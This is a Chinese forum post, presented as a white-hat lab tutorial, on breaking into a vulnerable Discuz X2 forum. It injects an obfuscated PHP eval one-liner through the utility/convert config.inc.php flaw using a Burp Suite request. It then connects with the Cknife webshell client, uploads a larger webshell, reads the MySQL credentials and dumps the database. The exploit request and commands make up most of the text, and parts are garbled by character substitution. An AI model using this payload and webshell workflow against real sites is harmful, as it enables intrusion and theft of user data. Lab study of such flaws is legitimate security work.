20分钟攻破DISCUZ论坛并盗取数据库(web安全白帽子)

打印 上一主题 下一主题

主题 832|帖子 832|积分 2496

1 快速搭建discuz论坛

1.1 攻击思绪

想要拿下一台主机A的权限:
(1)了解一下这个服务器:端口,服务器版本,操纵系统版本。找毛病
(2)拿到对A有肯定权限的身份。如果对方是一个web服务器,就利用对方网站应用步伐的毛病,上传webshell然后提权
(3)传上去后,得到Apache用户普通权限,再提权成root
1.2 快速搭建实行情况

搭建一个LAMP情况。摆设带有毛病的discuz论坛
1.2.1,毛病概述

这毛病出现在一个DZX系列自带的转换工具内里
毛病路径:utility/convert/data/config.inc.php
毛病发生的缘故原由是:config.inc.php这个文件在黑客通过post写入时,无任何过滤检测,所以黑客可以通过post方式往config.inc.php中写木马步伐。(全部做开发的东西从外网上获取数据时,不知此数据是否危险都要做过滤,但许多网站开发职员不知道做这一步过滤)
触发毛病的过程:
(1)在浏览器中访问打开http://192.168.1.63/utility/convert/index.php
(2)利用utility/convert/index.php进行版本转换时,会主动创建utility/convert/data/config.inc.php文件(utility 效用)
(3)config.inc.php文件(这个新建的文件)没有做过滤,黑客可以利用post方法对config.inc.php注入木马步伐
渗透思绪:
burp suite 可以抓包,和wireshark一样,还能改包内的内容

1.2.2,在centos7虚拟机上搭建LAMP情况

  1. # yum -y install httpd mariadb-server mariadb php php-mysql   #安装LAMP环境
  2. 参数:mariadb-server 这是mysql数据库的一个分支
  3. mariadb  就是它的客户端了
  4. php-mysql 是专门用来连接mariadb 的一个工具
  5. #systemctl start httpd                                //启动Apache
  6. #systemctl start mariadb                        //启动数据库
  7. #mysqladmin        -u root password “电脑密码”        //给数据库配个密码
  8. #mysql -u root -p密码                                //登录数据库
复制代码
1.2.3,上传到discuz_X2_SC_UTF8.zip 到Linux系统/root下

此处利用xshell毗连虚拟机,注意利用桥接模式且利用路由器的网
上传之后利用
  1. #rz                                //此处使用命令上传(因不含命令,我变使用ftp上传)
  2. [root@localhost ~]# unzip Discuz_X2_SC_UTF8_0628.zip          //直接解压缩到当前目录下(也有可能未找到该命令,则yum -y install zip unzip来下载此命令)
  3. # ls
  4. //此时解压出很多东西,若搭建网站需要两个,一个upload,一个utility(漏洞就在此目录下),
  5. [root@localhost ~]# mv upload/* /var/www/html/                //将upload下的所有东西放到网站根目录
  6. [root@localhost ~]# mv utility/ /var/www/html/                //将utility(可以理解成一个工具,比如说版本更新等工具,无*)也传到此目录下
  7. [root@localhost ~]# ls /var/www/html/
  8. admin.php  config           data         home.php    misc.php    search.php  uc_client
  9. api        connect.php      favicon.ico  index.php   plugin.php  source      uc_server
  10. api.php    cp.php           forum.php    install     portal.php  static      userapp.php
  11. archiver   crossdomain.xml  group.php    member.php  robots.txt  template    utility
  12. [root@localhost ~]# cd /var/www/html/
  13. [root@localhost html]# ll                                //进入可查看这些文件的权限,要将其拥有者权限root修改,若不修改,别人是无法上传文件的(如修改自己图像),凭什么能上传自己的头像,因为上传时使用的是Apache的身份,我们的进程就是以Apache进行的(ps -axu | grep apache)
  14. [root@localhost html]# chown -R apache:apache uc_server/ data/ config/ uc_client/
  15. //修改权限
  16. [root@localhost html]# chown -R apache:apache utility/convert/data/
  17. //还需要修改data的权限(专门存数据的,临时数据)
  18. [root@localhost html]# iptables -F
  19. //清空防火墙,不然80端口出不来
  20. [root@localhost html]#        setenforce 0
  21. //确保setlinux关闭,可以用setenforce 0命令执行。 默认的,SELinux禁止网络上对Samba服务器上的共享目录进行写操作,即使你在smb.conf中允许了这项操作。
复制代码
1.2.4.浏览器输入http://192.168.0.101安装配置discuz论坛

安装乐成后刷新一下,或重新进入此IP就出界面了
此网站在内网,放到外网其他人就可以访问了
2 利用kali下burpsuite对discuz后台注入PHP木马

利用kali自带的火狐浏览器访问百度看其可否正常上网,接着在访问网站IP之前,打开burpsuit(是一个抓包工具,抓的是http协议)
(1)在火狐浏览器中要计划一个代理,即在右侧点击preferences属性,拉倒最下方打开setting,选择手动manul proxy configuration
(2)抓包,burpsuit默认启动后,打开proxy选项,点击“intercept is on”,变为“intercept is off”,因为我们要先访问我们的论坛,先关闭拦截,若是全部数据都被拦截了就无法调数据了,所以只拦截末了的哀求,拦截最需要的东西。
(3)浏览器进行操纵抓包,在kali上,打开注入毛病的地方:http://192.168.0.106/utility/convert/
这是discuz产品升级的毛病,随便点击一个页面,点开始弹出领导
注意:在点击开始时会产生标题,所以点击之前,因为走的代理,所以哀求会转给这个代理,所以此处要开启抓包点击intercept is on,此时就开始拦截了,这样当前浏览器全部的http哀求都会被拦截,点击开始,网页不停刷新是因为没有接到哀求
如果之前抓到了别的数据包,需要先点击forward,把之前的http哀求都放行了,然后再访问我们需要访问的毗连(看地址就能看到)。
  1. 在burpsuit就会出现下方消息,就能get下方消息(凡是可以get的地方,就要尝试着去注入一句话木马)
  2. GET /utility/convert/index.php?a=config&source=d7.2_x2.0 HTTP/1.1
  3. Host: 192.168.0.106
  4. User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
  5. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  6. Accept-Language: en-US,en;q=0.5
  7. Accept-Encoding: gzip, deflate
  8. Referer: http://192.168.0.106/utility/convert/
  9. Connection: close
  10. Upgrade-Insecure-Requests: 1
  11. 此时已经抓取到了http请求接下来要注入木马,怎么注入是不能在此直接修改的需要右击空白处(sent to repeater请求转给中继器),这样整个的数据包就拦截下来了,就可以修改了
  12. 接着点击repeater选项,修改request信息,将get请求改为post,因为这个包在自己手里,想怎么改就怎么改。改为下方
  13. 修改第一行:
  14. GET /utility/convert/index.php?a=config&source=d7.2_x2.0 HTTP/1.1
  15. 为:注意POST后面没有回车键,这里是文本显示自动换行了。
  16. POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa%0a%0deval(CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(34).CHR(36).CHR(95).CHR(80).CHR(79).CHR(83).CHR(84).CHR(91).CHR(99).CHR(93).CHR(59).CHR(34).CHR(41).CHR(59));//]=aaaa&submit=yes HTTP/1.1
  17. 注:这是一个PHP一句话木马加密后的内容。翻译后的内容:
  18. &newconfig[aaa%0a%0d eval(‘$_POAT[c];’);//]=aaaa&submit=yes
  19. 注:%0a%0d 阿斯克码的回车换行
  20. 再转换
  21. POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa%0a%0d eval(‘$_POAT[c];’);//]
  22. 扩展eval()函数:
  23. Eval函数中的eval是evaluate的简称,这个函数的作用就是把一段字符当做PHP语句来执行,一般情况下不建议使用容易被黑客利用。
  24. Eval(‘echo’hello worrld’;’)等同于(PHP直接执行)下边的代码:
  25. Echo ‘hello world’;在浏览器中输出:hello world
  26. 接着点击go(send),返回200k成功,现在已经注入成功,要看木马在哪,打开Linux服务器
  27. 下面在Linux中查看注入的木马所在地
  28. [root@localhost ~]# cd /var/www/html/utility/convert/data/
  29. [root@localhost data]# ls
  30. config.default.php  config.inc.php
  31. [root@localhost data]# ll
  32. 总用量 8
  33. -rw-r--r--. 1 apache apache  935 6月  27 2012 config.default.php
  34. -rw-r--r--. 1 apache apache 1481 11月 15 14:53 config.inc.php
  35. [root@localhost data]# vi config.inc.php
  36. 注意注入的木马是免杀的,一般情况下过滤不出来,一般过滤的是eval这个函数
  37. 在这个配置文件中有很多的^M符号
  38. 扩展:^M符号
  39. ^M字符的来历和作用:在DOS/windows里,文本文件的换行符为\r\n,而在Linux系统里则为\n,所以DOS/windows里编辑过的文本文件到了Linux里,每一行都多了个^M。所以^M只是个换行符号,没有实际的用处,我们可以将它保留,也可以将它删除
  40. %0a%0d 等于\r\n
  41. 那么这个一句话木马怎么用(会使用菜刀来用它)
复制代码
3 利用Cknife “菜刀”上传webshell木马到网站

3.1 在kali上配置java情况

搭建java情况(我们是基于java开发的)
  1. [root@localhost ~]# yum install -y java
  2. //注意我们现在是在此服务器上直接安装中国菜刀的,并不是在kali上安装的
  3. 很多人高渗透用的菜刀是windows下的,建议使用Linux下的会更安全一些
  4. 自动安装的是openjdk开源的
  5. 查看java版本
  6. [root@localhost ~]# java -version
  7. openjdk version "1.8.0_232"
  8. OpenJDK Runtime Environment (build 1.8.0_232-b09)
  9. OpenJDK 64-Bit Server VM (build 25.232-b09, mixed mode)
复制代码
3.2 利用菜刀毗连discuz论坛上面的PHP后门步伐

接着上传菜刀(cknife.jar)利用ftp即可直接上传到根目录
注意:jar包的获取可看此文章https://www.cnblogs.com/ownhp/p/9094896.html
注意从Github上下载下来的cknife-master需要在myeclipse上运行一下其配置文件才会出现,而且此项目是运行在jdk1.7版本的,所以选好运行情况后,再运行一下,接着导出成可运行的jar包运行在Linux上
  1. [root@localhost ~]# ls
  2. anaconda-ks.cfg  CKnife.jar  Discuz_X2_SC_UTF8_0628.zip  readme  upload  ╦╡├ў.htm
  3. 传完东西后运行一下中国菜刀
  4. [root@localhost ~]# java -jar Cknife.jar
  5. 接着会出来一个界面,就能右击添加,如果打开程序后,看到是乱码的,我们更换一下皮肤科解决乱码问题
  6. 右击添加,会出现添加shell,选择连接即可,地址172.20.10.10/utility/convert/data/config.inc.php,密码就是前面注入程序的‘c’,
  7. 脚本类型选择PHP,字符编码选择GB2313,接着点击添加就行了
  8. 之后就行了吗,双击出现的地址,看到了什么,看到了所有的文件,接着我们还是在data文件下上传webshell2.php木马,为什么要上传大马,因为这个功能是非常强大的。小马(一句话木马)功能单一只有上传下载功能,而大马功能强大,是可以用任意机器访问此webshell了。
复制代码
3.3 上传功能更强大的木马文件webshell2.php

注:这里需要上传到Apache用户有写权限的目录中,因为安装过程中discuz需要管理员修改部分权限为Apache用户,所以必然有可以上传文件的目录,我们可以直接上传到data(此目录下是有Apache权限的)目录下。
https://blog.csdn.net/weixin_45178890/article/details/98121719
此链接上有大小马步伐,通过之前的一句话木马来上传此大马步伐,可以试试。大马步伐已改成“招财猫”。
在菜刀的界面上右击上传我们的大马步伐。这就上传到data文件下了。
3.4 任意呆板访问我们的webshell2.php木马文件

172.20.10.10/utility/convert/data/da.php 在浏览器输入此地址后,接着会要求输入密码这个选项,输入密码之后就能在网站登录别人的后台了,登上后可以管理任何文件
4 利用webshell查察mysql数据库密码并盗取数据库

  第四步骤已经链接上了,第五个步骤要用webshell盗取mysql的数据库了,有思绪没,起首要知道数据库密码,在网站的根目录下都有一个config(/var/www/html/config)这样的目录,在这目录下有个config_global.php,全部网站都要毗连数据库,既然毗连数据库那么就有一个配置文件存着mysql的账号和密码。编辑此文件config_global.php,无论是java,python,PHP都有这样的文件,我们明确看到了此文件内的数据库账号和密码,看到很清晰,这样就能连上数据库就能很清晰的看到我们想要的数据了。登录数据库用密码,选择本身想要看到数据库,比方ultrax我们的discuz论坛就在此库中,在这有许多许多的,接着就是脱库(将数据库导出来),可以选择全部的数据库将其导出来,可以选择某个表导出(就是下载到本地)。这个导出功能在视频中有,现在这个大马应该是没有。
  有同砚说能不能给提个权注个木马,可以现在的大马就能提权。
  到此结束了,我们可以利用Apache用户进行提权操纵。然后我们就有了root权限了。因为大家还不会向里埋后门。
总结

1 快速搭建discuz论坛
2 利用kali下burpsuite对discuz后台注入PHP木马
3 利用cknife “菜刀” 上传webshell 木马到网站
4 利用webshell查察mysql数据库密码并盗取数据库
第一个先搭好论坛,搭好论坛后不是想向论坛注入数据吗,如果正常通过浏览器访问是永久也干不了坏事的,此时需要找个人篡改一下包,所以我的浏览器才需要代理上网,浏览器利用代理上网,全部的数据都交给了代理,那么代理抓到全部的数据后可以篡改你的数据,篡改数据后再将数据进行注入,注入完了后通过菜刀毗连上去,毗连上去后可以上传许多文件,就上传webshell,可以非常方便的看到数据库密码,看到密码后下载数据库是非常轻松的事。

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

万万哇

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表